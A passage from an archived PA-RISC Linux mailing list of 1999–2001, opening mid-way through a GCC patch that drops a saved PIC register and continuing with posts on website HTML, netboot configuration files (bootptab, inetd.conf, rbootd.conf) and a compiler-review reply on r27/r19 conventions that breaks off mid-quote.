-	       gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
       if (TARGET_64BIT)
 	use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), arg_pointer_rtx);
 
       /* After each call we must restore the PIC register, even if it
-	 doesn't appear to be used.
-
-         This will set regs_ever_live for the callee saved register we
-	 stored the PIC register in.  */
-      emit_move_insn (pic_offset_table_rtx,
-		      gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
+	 doesn't appear to be used.  */
+      emit_move_insn (pic_offset_table_rtx, PIC_OFFSET_TABLE_SAVE_RTX);
     }
   DONE;
 }")
@@ -6090,22 +6081,18 @@
 
   op = XEXP (operands[0], 0);
 
+  emit_move_insn (pic_offset_table_rtx, PIC_OFFSET_TABLE_SAVE_RTX);
+
   /* We do not allow indirect sibling calls.  */
   call_insn = emit_call_insn (gen_sibcall_internal_symref (op, operands[1]));
 
   if (flag_pic)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
-      use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn),
-	       gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
 
       /* After each call we must restore the PIC register, even if it
-	 doesn't appear to be used.
-
-         This will set regs_ever_live for the callee saved register we
-	 stored the PIC register in.  */
-      emit_move_insn (pic_offset_table_rtx,
-		      gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
+	 doesn't appear to be used.  */
+      emit_move_insn (pic_offset_table_rtx, PIC_OFFSET_TABLE_SAVE_RTX);
     }
   DONE;
 }")
@@ -6151,6 +6138,8 @@
 
   op = XEXP (operands[1], 0);
 
+  emit_move_insn (pic_offset_table_rtx, PIC_OFFSET_TABLE_SAVE_RTX);
+
   /* We do not allow indirect sibling calls.  */
   call_insn = emit_call_insn (gen_sibcall_value_internal_symref (operands[0],
 								 op,
@@ -6158,16 +6147,10 @@
   if (flag_pic)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
-      use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn),
-	       gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
 
       /* After each call we must restore the PIC register, even if it
-	 doesn't appear to be used.
-
-         This will set regs_ever_live for the callee saved register we
-	 stored the PIC register in.  */
-      emit_move_insn (pic_offset_table_rtx,
-		      gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM_SAVED));
+	 doesn't appear to be used.  */
+      emit_move_insn (pic_offset_table_rtx, PIC_OFFSET_TABLE_SAVE_RTX);
     }
   DONE;
 }")
Only in newegcs/gcc/config/pa: pa.md~
diff -urp -xCVS egcs/gcc/config/pa/pa32-regs.h newegcs/gcc/config/pa/pa32-regs.h
--- egcs/gcc/config/pa/pa32-regs.h	Thu Jan 11 16:10:48 2001
+++ newegcs/gcc/config/pa/pa32-regs.h	Mon Jan 15 18:22:39 2001
@@ -110,11 +110,7 @@
 	fixed_regs[i] = call_used_regs[i] = 1; 	\
     }						\
   if (flag_pic)					\
-    {						\
-      fixed_regs[PIC_OFFSET_TABLE_REGNUM] = 1;	\
-      fixed_regs[PIC_OFFSET_TABLE_REGNUM_SAVED] = 1;\
-      call_used_regs[PIC_OFFSET_TABLE_REGNUM_SAVED] = 1;\
-    }						\
+    fixed_regs[PIC_OFFSET_TABLE_REGNUM] = 1;	\
 }
 
 /* Allocate the call used registers first.  This should minimize
diff -urp -xCVS egcs/gcc/config/pa/pa64-regs.h newegcs/gcc/config/pa/pa64-regs.h
--- egcs/gcc/config/pa/pa64-regs.h	Thu Jan 11 16:10:48 2001
+++ newegcs/gcc/config/pa/pa64-regs.h	Mon Jan 15 18:22:40 2001
@@ -109,11 +109,7 @@ Boston, MA 02111-1307, USA.  */
 	fixed_regs[i] = call_used_regs[i] = 1; 	\
     }						\
   if (flag_pic)					\
-    {						\
-      fixed_regs[PIC_OFFSET_TABLE_REGNUM] = 1;	\
-      fixed_regs[PIC_OFFSET_TABLE_REGNUM_SAVED] = 1;\
-      call_used_regs[PIC_OFFSET_TABLE_REGNUM_SAVED] = 1;\
-    }						\
+    fixed_regs[PIC_OFFSET_TABLE_REGNUM] = 1;	\
 }
 
 /* Allocate the call used registers first.  This should minimize


From - Thu Nov 08 21:15:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] overuse of tables in new website
Date: Mon, 15 Jan 2001 13:35:05 +0000
Lines: 81
Approved: news@gmane.org
Message-ID: <20010115133505.B29423@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619525 10325 80.91.229.3 (22 Nov 2014 01:25:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Mon Jan 15 06:31:27 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA15885
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 06:31:26 -0700
Original-Received: (qmail 20063 invoked by uid 15267); 15 Jan 2001 13:35:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20056 invoked from network); 15 Jan 2001 13:35:06 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 13:35:06 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14I9mr-00022b-00
	for parisc-linux@thepuffingroup.com; Mon, 15 Jan 2001 13:35:05 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9177


n.b.  i'd be happy to report things like this to an individual if anyone
at linuxcare answered email about the website.

the new website uses lots of unnecessary tables.  let's take the header
image as an example, since it was the first i came across.  the original
code looks like this (reformatted to indicate structure):

<table border=0 cellpadding=0 cellspacing=0 width="100%">
  <tr>
    <td width="10%">
      <table width="100%" cellpadding=0 cellspacing=0 border=0 background="&base;/images/pa-masthead-lines.png">
        <tr>
          <td>
            <img src="&base;/images/pa-masthead-lines.png" width="6" height="63" alt="" border="0">
          </td>
        </tr>
      </table>
    </td>
    <td align="center" width="80%">
      <map name="masthead">
        <area alt="Hewlett Packard Homepage" coords="5,1,84,62" href="http://www.hp.com">
        <area alt="Linuxcare Homepage" coords="565,10,736,54" href="http://www.linuxcare.com">
      </map>
      <img src="&base;/images/pa-masthead-center-a.gif" width="735" height="63" border="0" usemap="#masthead">
    </td>
    <td width="10%">
      <table width="100%" cellpadding=0 cellspacing=0 border=0 background="&base;/images/pa-masthead-lines.png">
        <tr>
          <td>
            <img src="&base;/images/pa-masthead-lines.png" width="6" height="63" alt="" border="0">
          </td>
        </tr>
      </table>
    </td>
  </tr>
</table>

as far as i an tell using netscape 4.76 on linux, the following looks
identical.

<table cellpadding=0 cellspacing=0 border=0>
  <tr>
    <td>
      <img src="&base;/images/pa-masthead-lines.png" width=6 height=63 alt="" border=0>
    </td><td>
      <map name="masthead">
        <area alt="Hewlett Packard Homepage" coords="5,1,84,62" href="http://www.hp.com">
        <area alt="Linuxcare Homepage" coords="565,10,736,54" href="http://www.linuxcare.com">
      </map>
      <img src="&base;/images/pa-masthead-center-a.gif" width=735 height=63 border=0 usemap="#masthead">
    </td><td>
      <img src="&base;/images/pa-masthead-lines.png" width=6 height=63 alt="" border=0>
    </td>
  </tr>
</table>

there are still things I dislike about this.  for example, it seems
to be using an imagemap unecessarily -- what's wrong with having
<left><hp><centre><linuxcare><right> with ordinary link tags on <hp>
and <linuxcare>?

if the argument is that it'll take longer to download with more images, then
why do we have the separate left and right masthead-lines images?  they complicate
the whole thing, and if they were amalgamated into the image this html could be cut down to:

<map name="masthead">
  <area alt="Hewlett Packard Homepage" coords="11,1,90,62" href="http://www.hp.com">
  <area alt="Linuxcare Homepage" coords="571,10,742,54" href="http://www.linuxcare.com">
</map>
<img src="&base;/images/pa-masthead-center-a.gif" width=747 height=63 border=0 usemap="#masthead">

which would please me by eliminating an awful lot of crap :-)

i have similar complaints about other bits, but i can't be bothered to
look at them closely when i have no idea whether anyone's paying any
attention to what i think.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugo van der Kooij <Hugo.van.der.Kooij@caiw.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Ready to go!
Date: Sun, 30 May 1999 01:28:34 +0200 (CEST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9905300126130.25944-100000@bastion.nl3155vj16.vanderkooij.org>
References: <19990529232152.I1410@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619525 10326 80.91.229.3 (22 Nov 2014 01:25:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: Hugo.van.der.Kooij@caiw.nl  Sat May 29 17:29:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA04279
	for <parisc-linux@puffin.external.hp.com>; Sat, 29 May 1999 17:29:05 -0600
Original-Received: (qmail 3807 invoked by uid 15267); 29 May 1999 23:28:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3800 invoked from network); 29 May 1999 23:28:18 -0000
Original-Received: from mailserv.caiw.nl (194.178.9.133)
  by mailserv2.iuinc.com with SMTP; 29 May 1999 23:28:18 -0000
Original-Received: (from root@localhost) by mailserv.caiw.nl (8.8.5/8.6.12) id BAA06889; Sun, 30 May 1999 01:29:25 +0200 (MET DST)
Original-Received: from k3nw287.dial.kabelfoon.nl(195.193.25.32), claiming to be "bastion.nl3155vj16.vanderkooij.org"
 via SMTP by mailserv.caiw.nl, id smtpdAAAb06882; Sun, 30 May 1999 01:29:21 +0200
Original-Received: from bastion.nl3155vj16.vanderkooij.org (bastion.nl3155vj16.vanderkooij.org [192.168.100.254])
	by bastion.nl3155vj16.vanderkooij.org (8.9.1a/8.9.1) with ESMTP id BAA03121;
	Sun, 30 May 1999 01:28:40 +0200
X-Sender: hvdkooij@bastion.nl3155vj16.vanderkooij.org
In-Reply-To: <19990529232152.I1410@mencheca.ch.genedata.com>
X-URL: http://www.caiw.nl/~hvdkooij/
X-Loop: Hugo.van.der.Kooij@caiw.nl
Xref: news.gmane.org gmane.linux.ports.parisc:9178

On Sat, 29 May 1999, Matthew Wilcox wrote:

> On Sat, May 29, 1999 at 11:12:19PM +0200, Hugo van der Kooij wrote:

> > The 715/33 won't run mklinux at all. Basically one of the reasons I have
> > set my hopes on the real PARISC port. (Which I will patiently await.)
> 
> Don't just wait, get involved!  :-)  There are several models of 715,
> btw, he doesn't necessarily have the one model of 715 which mkLinux
> won't work with.  I do though!

I am not a programmer. I may do testruns as soon as the kernel stuff goes
to alpha stage.

Quite busy with documentation projects. 

Hugo.
-- 
Hugo van der Kooij; Oranje Nassaustraat 16; 3155 VJ  Maasland
hvdkooij@caiw.nl		 http://www.caiw.nl/~hvdkooij/
--------------------------------------------------------------
Use of any of my email addresses for unsollicited (commercial)
    email is a clear intrusion of my privacy and illegal!


From - Thu Nov 08 21:15:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Phillip D. Beal" <pdbeal@louisville.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problem
Date: Mon, 15 Jan 2001 09:51:43 -0500
Lines: 254
Approved: news@gmane.org
Message-ID: <20010115095143.A137730@athena.louisville.edu>
References: <20010111213734.D134330@athena.louisville.edu> <3A5E8AA6.6D825A61@linuxcare.com> <20010112182012.H13351@neep.com.au> <20010113223513.A63406@athena.louisville.edu> <3A614153.68903841@linuxcare.com> <20010114130220.A92364@athena.louisville.edu> <3A61F329.5E315E9F@linuxcare.com> <20010114201356.A32402@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="LQksG6bCIzRHxTLp"
X-Trace: ger.gmane.org 1416619525 10329 80.91.229.3 (22 Nov 2014 01:25:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pdbeal@louisville.edu  Mon Jan 15 07:48:36 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA16512
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 07:48:36 -0700
Original-Received: (qmail 14981 invoked by uid 15267); 15 Jan 2001 14:52:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14926 invoked from network); 15 Jan 2001 14:52:15 -0000
Original-Received: from erouter1.it-datacntr.louisville.edu (136.165.1.15)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 14:52:15 -0000
Original-Received: from athena.louisville.edu (athena.louisville.edu [136.165.1.37])
	by erouter1.it-datacntr.louisville.edu (Postfix) with ESMTP id DFE3D2328F
	for <parisc-linux@thepuffingroup.com>; Mon, 15 Jan 2001 09:52:14 -0500 (EST)
Original-Received: by athena.louisville.edu (Postfix, from userid 43478)
	id C54B6C1C; Mon, 15 Jan 2001 09:51:43 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010114201356.A32402@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Sun, Jan 14, 2001 at 08:13:56PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:9179


--LQksG6bCIzRHxTLp
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Sun, Jan 14, 2001 at 08:13:56PM +0000, Matthew Wilcox wrote:
> On Sun, Jan 14, 2001 at 01:42:49PM -0500, Alex deVries wrote:
> > Wait!  I said that 715/new uses bootp, but 715/old uses rbootd.
> > 
> > And I don't believe you when you say that your 735 and 755 netboot
> > properly. I'd be convinced if you showed me both a) the output of
> > 'rbootd -d' and b) console output.
> 
> why's it so hard to believe he might have rbootd configured correctly,
> but have made a typo in his tftpd / bootpd configuration?
> 
> Phillip, have you tried using tftp to fetch the image, for example?

Well, Tftp works because the same build system also boots four HP
Xterminals through tftp, and the Xterminals work and boot fine, and yes
I can get the vmlinux through tftp.  I have attached a copy of my config
files and I'll send the console output on tuesday, its the only time
I'll have a chance to get to reboot the machines and watch the console
output again.  The one thing I'm wondering though, the 715/25 seems to
think it has two mac addresses.  This is why you'll see two configs for
parisc in the bootp config.

-- 
Phillip Beal                           ___           _               _   
Electrical and Computer Engineering   | _ ) ___ __ _| |___  _ _  ___| |_ 
pdbeal@louisville.edu                 | _ \/ -_) _` | |_ /_| ' \/ -_)  _|
http://www.bealz.net/                 |___/\___\__,_|_/__(_)_||_\___|\__|

--LQksG6bCIzRHxTLp
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=bootptab

# bootptab
#
# Created on 10/29/2000 by SYSPDB
# Used for ramdisk boot for "goat"
goat:\
   :hd=/tftpboot:\
   :bf=vmlinux:\
   :ht=ether:\
   :ha=080009323a5b:\
   :sm=255.255.255.0:\
   :hn:\
   :ip=192.168.1.187:\
   :vm=rfc1048:

monkey:\
   :hd=/tftpboot:\
   :bf=vmlinux:\
   :ht=ether:\
   :ha=080009832dd6:\
   :sm=255.255.255.0:\
   :hn:\
   :ip=192.168.1.188:\
   :vm=rfc1048:

parisc:\
   :hd=/tftpboot:\
   :bf=iplboot:\
   :ht=ether:\
   :ha=0800097b98b2:\
   :sm=255.255.255.0:\
   :hn:\
   :ip=192.168.1.180:\
   :vm=rfc1048:

parisc:\
   :hd=/tftpboot:\
   :bf=iplboot:\
   :ht=ether:\
   :ha=0800097b98b3:\
   :sm=255.255.255.0:\
   :hn:\
   :ip=192.168.1.180:\
   :vm=rfc1048:

horse:\
   :hd=/tftpboot:\
   :bf=vmlinux:\
   :ht=ether:\
   :ha=080009c4d28c:\
   :sm=255.255.255.0:\
   :hn:\
   :ip=192.168.1.189:\
   :vm=rfc1048:

lab03:\
   :ht=ether:\
   :ha=00104B8FA495:\ 
   :sm=255.255.255.0:\
   :hn:\
   :ip=192.168.1.203:\
   :vm=rfc1048:




--LQksG6bCIzRHxTLp
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="inetd.conf"

# See "man 8 inetd" for more information.
#
# If you make changes to this file, either reboot your machine or send the
# inetd a HUP signal with "/sbin/init.d/inetd reload" or by hand:
# Do a "ps x" as root and look up the pid of inetd. Then do a
# "kill -HUP <pid of inetd>".
# The inetd will re-read this file whenever it gets that signal.
#
# <service_name> <sock_type> <proto> <flags> <user> <server_path> <args>
#
# echo	stream	tcp	nowait	root	internal
# echo	dgram	udp	wait	root	internal
# discard	stream	tcp	nowait	root	internal
# discard	dgram	udp	wait	root	internal
# daytime	stream	tcp	nowait	root	internal
# daytime	dgram	udp	wait	root	internal
# chargen	stream	tcp	nowait	root	internal
# chargen	dgram	udp	wait	root	internal
time	stream	tcp	nowait	root	internal
time	dgram	udp	wait	root	internal
#
# These are standard services.
#
# ftp	stream	tcp	nowait	root	/usr/sbin/tcpd	wu.ftpd -a
# ftp	stream	tcp	nowait	root	/usr/sbin/tcpd	proftpd
ftp	stream	tcp	nowait	root	/usr/sbin/tcpd	in.ftpd
#
# If you want telnetd not to "keep-alives" (e.g. if it runs over a ISDN
# uplink), add "-n".  See 'man telnetd' for more details.
telnet	stream  tcp     nowait  root    /usr/sbin/tcpd	in.telnetd
# nntp	stream	tcp	nowait	news	/usr/sbin/tcpd	/usr/sbin/leafnode
# smtp	stream  tcp     nowait  root    /usr/sbin/sendmail    sendmail -bs
# printer	stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/bin/lpd -i
#
# Shell, login, exec and talk are BSD protocols.
#  The option "-h" permits ``.rhosts'' files for the superuser. Please look at
#  man-page of rlogind and rshd to see more configuration possibilities about
#  .rhosts files.
shell	stream	tcp	nowait	root	/usr/sbin/tcpd	in.rshd -L
# shell	stream	tcp	nowait	root	/usr/sbin/tcpd	in.rshd -aL
#
# If you want rlogind not to "keep-alives" (e.g. if it runs over a ISDN
# uplink), add "-n".  See 'man rlogind' for more details.
login	stream	tcp	nowait	root	/usr/sbin/tcpd	in.rlogind
# login	stream	tcp	nowait	root	/usr/sbin/tcpd	in.rlogind -a
# exec	stream	tcp	nowait	root	/usr/sbin/tcpd	in.rexecd
talk	dgram	udp	wait	root	/usr/sbin/tcpd	in.talkd
ntalk	dgram	udp	wait	root	/usr/sbin/tcpd	in.talkd
#
#
# Pop et al
#
# pop2	stream	tcp	nowait	root	/usr/sbin/tcpd	in.pop2d
pop3	stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/popper -s
#
# Imapd - Interactive Mail Access Protocol server
# Attention:  This service is very insecure
# imap	stream	tcp	nowait	root	/usr/sbin/tcpd	imapd
#
# Comsat - has to do with mail.
#
# comsat	dgram	udp	wait	root	/usr/sbin/tcpd	in.comsat
#
# The Internet UUCP service.
#
# uucp	stream	tcp	nowait	uucp	/usr/sbin/tcpd	/usr/lib/uucp/uucico	-l
#
# Tftp service is provided primarily for booting.  Most sites
# run this only on machines acting as "boot servers." 
#
tftp          dgram   udp     wait    root	/usr/sbin/tcpd  in.tftpd -s /tftpboot
#bootps	dgram	udp	wait	root	/usr/sbin/bootpd	bootpd -c /tftpboot
bootps	dgram	udp	wait	root	/usr/sbin/bootpd	bootpd -i -t 120
#
# Finger, systat and netstat give out user information which may be
# valuable to potential "system crackers."  Many sites choose to disable 
# some or all of these services to improve security.
# Try "telnet localhost systat" and "telnet localhost netstat" to see that
# information yourself!
#
finger	stream	tcp	nowait	nobody	/usr/sbin/tcpd	in.fingerd -w
# systat	stream	tcp	nowait	nobody	/usr/sbin/tcpd	/bin/ps	-auwwx
# netstat	stream	tcp	nowait	root	/usr/sbin/tcpd	/bin/netstat	-a
#
# For man on the fly and ht://dig (full text search)
#
http-rman	stream	tcp	nowait.10000	nobody	/usr/sbin/tcpd	/usr/sbin/http-rman
#
# For XCept4
#
# btx	stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/lib/xcept4/bin/ceptd -i/usr/lib/xcept4/etc/init.ceptd -u/usr/lib/xcept4/etc/users.ceptd -l/var/log/log.ceptd
#
# For rplay daemon
#
# Old versions of rplay:
# rplay	dgram	udp	wait	root	/usr/sbin/tcpd	rplayd -b 8192 -c 60 -s 8192
# New Versions of rplay (>=3.3.0)
# rplay	dgram	udp	wait	root	/usr/sbin/tcpd	rplayd -t 30 -c 60 -s 16384 -F0 --inetd
#
# vbox (Voice Box)
# vboxd	stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/vboxd
#
# For midinetd
# midinet	stream	tcp	nowait	root	/usr/sbin/tcpd	in.midinetd
#
# swat is the Samba Web Administration Tool
swat	stream	tcp	nowait.400	root	/usr/sbin/swat	swat
#
#
# amanda backup server with indexing capabilities
# amandaidx	stream	tcp	nowait	root	/usr/lib/amanda/amindexd amindexd
# amidxtape	stream	tcp	nowait	root	/usr/lib/amanda/amidxtaped amidxtaped
#
# amanda backup client
# amanda	dgram	udp	wait	amanda	/usr/lib/amanda/amandad amandad
#
# the rsync daemon
# rsync	stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/rsyncd --daemon
#
#
# Mimer database
# mimer	stream	tcp	nowait	root	/opt/mimer/bin/mimtcp mimtcp -l
#
# CVS pserver (remote acces to your CVS repositories)
# Please read the section on security and passwords in the CVS manual,
# before you enable this.
# cvspserver stream tcp	nowait	root	/usr/sbin/tcpd	/usr/bin/cvs --allow-root=/home/cvsroot pserver
#
# procstatd deamon (cluster software)
# procstatd stream tcp	nowait	nobody	/usr/sbin/tcpd	/usr/sbin/procstatd -i 7885
#
# End.

--LQksG6bCIzRHxTLp
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="rbootd.conf"

#
# ethernet addr     boot file(s)        comments
#
08:00:09:32:3a:5b      vmlinux             # Linux
08:00:09:83:2d:d6      vmlinux             # Linux
08:00:09:c4:d2:8c      vmlinux             # Linux
08:00:09:7b:98:b2      iplboot             # Linux
08:00:09:7b:98:b3      iplboot             # Linux

--LQksG6bCIzRHxTLp--


From - Thu Nov 08 21:15:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jane Vinet <jvinet@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] website
Date: Mon, 15 Jan 2001 10:20:16 -0500
Organization: Linuxcare
Lines: 55
Approved: news@gmane.org
Message-ID: <3A631530.29D686AD@linuxcare.com>
References: <20010106122621.C14922@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619526 10334 80.91.229.3 (22 Nov 2014 01:25:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: jvinet@linuxcare.com  Mon Jan 15 08:11:38 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA16947
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 08:11:38 -0700
Original-Received: (qmail 13931 invoked by uid 15267); 15 Jan 2001 15:15:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13913 invoked from network); 15 Jan 2001 15:15:07 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2001 15:15:07 -0000
Original-Received: (qmail 5063 invoked from network); 15 Jan 2001 15:15:09 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (@216.208.98.2)
  by smtp.linuxcare.com with SMTP; 15 Jan 2001 15:15:09 -0000
Original-Sender: jvinet@mailserv2.iuinc.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.14-15mdk i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9180

Hi Willy,

Sorry, I thought I had sent this early last week, however, I had it in
my drafts folder, I was not being unresponsive.

Matthew Wilcox wrote:
> 
> As I've mentioned before, I'm not happy with several aspects of the
> proposed replacement website.
> 
>  * I believe there is too much boilerplate HTML which will quickly get out
>    of sync between the different files.

Discussions between Linuxcare and Hewlett Packard have come to the
conclusion that HP are satisfied with the site and we are going to post
it the way it is now.  Please note that it will not stay static.  We
believe the site will evolve over time and some of the issues you have
brought up may be addressed in future developments.  As to your other
comments, please see below.

>  * The proposed site doesn't have the useful `last updated' feature.

You are right, the previous "last updated" showed the last chron job -
we will modify to show last time it was checked out of CVS.

>  * The text is too small.
>  * It uses too many tables.

I feel these are personal preferences - however, I will see what can be
done about the font

>  * The <title></title> gives no useful information (also a problem with the
>    current site.)

Absolutely correct, will address it with the web team
>  * Too many directories containing only one file.

The site was designed with the idea of growth in mind, in fact we looked
at the site map extensively before asking for an overhaul and we feel
that it is no more complicated than in the past and looks to the future
as well.

>  * It now requires perl to build.

The system uses perl as a preprocessor - we do not believe that there
are going to be any issues with this.

Jane

-- 
Jane Vinet, Director Professional Services/Canadian Operations
Linuxcare, Inc. 613.562.9260 (tel), 613.562.9700 fax
jvinet@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the Revolution


From - Thu Nov 08 21:15:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Mon, 15 Jan 2001 11:24:22 -0500 (EST)
Lines: 44
Approved: news@gmane.org
Message-ID: <200101151624.LAA26183@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.21.0101151430350.21322-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619526 10337 80.91.229.3 (22 Nov 2014 01:25:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:26 +0000 (UTC)
Cc: law@redhat.com, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Jan 15 09:21:09 2001
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA17873
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Jan 2001 09:21:08 -0700
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA26183;
	Mon, 15 Jan 2001 11:24:24 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0101151430350.21322-100000@front.linuxcare.com.au> from "Alan Modra" at Jan 15, 2001 10:09:30 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9181

> This patch rids us of PIC_OFFSET_TABLE_REGNUM_SAVED, and the problems that
> go with it.  Additionally, I reload the pic offset table register before
> calls to guard against asm trashing r27/r19.  Hasn't bootstrapped yet, but
> looks promising.  One possible fly in the ointment is whether any ABI
> requires that r4 always be used to save the pic offset table reg.

At first glance, this looks like a good solution.  I don't see any requirement
that r4 be used to save the pic offset table reg in either ABI.

However, why is it necessary to guard against asms trashing r27/r19?  If
this happens, data access using gp won't work as well.  Shouldn't asms
ensure that they restore r27/r19 if they trash it?  If in fact r27/r19
needs to be restored prior to calls, it looks like it also needs to be
restored prior to each procedure return (see below).  This would prevent
the trivial return from ever being generated whenever pic code is used.
Thus, it seems necessary to ensure that r27/r19 is preserved from entry
to exit.

This is what the 64-Bit ABI says about r27:

GR 27 serves as the global pointer (gp).  This is a dedicated register with
special conventions.  Its use is subject to the following rules:

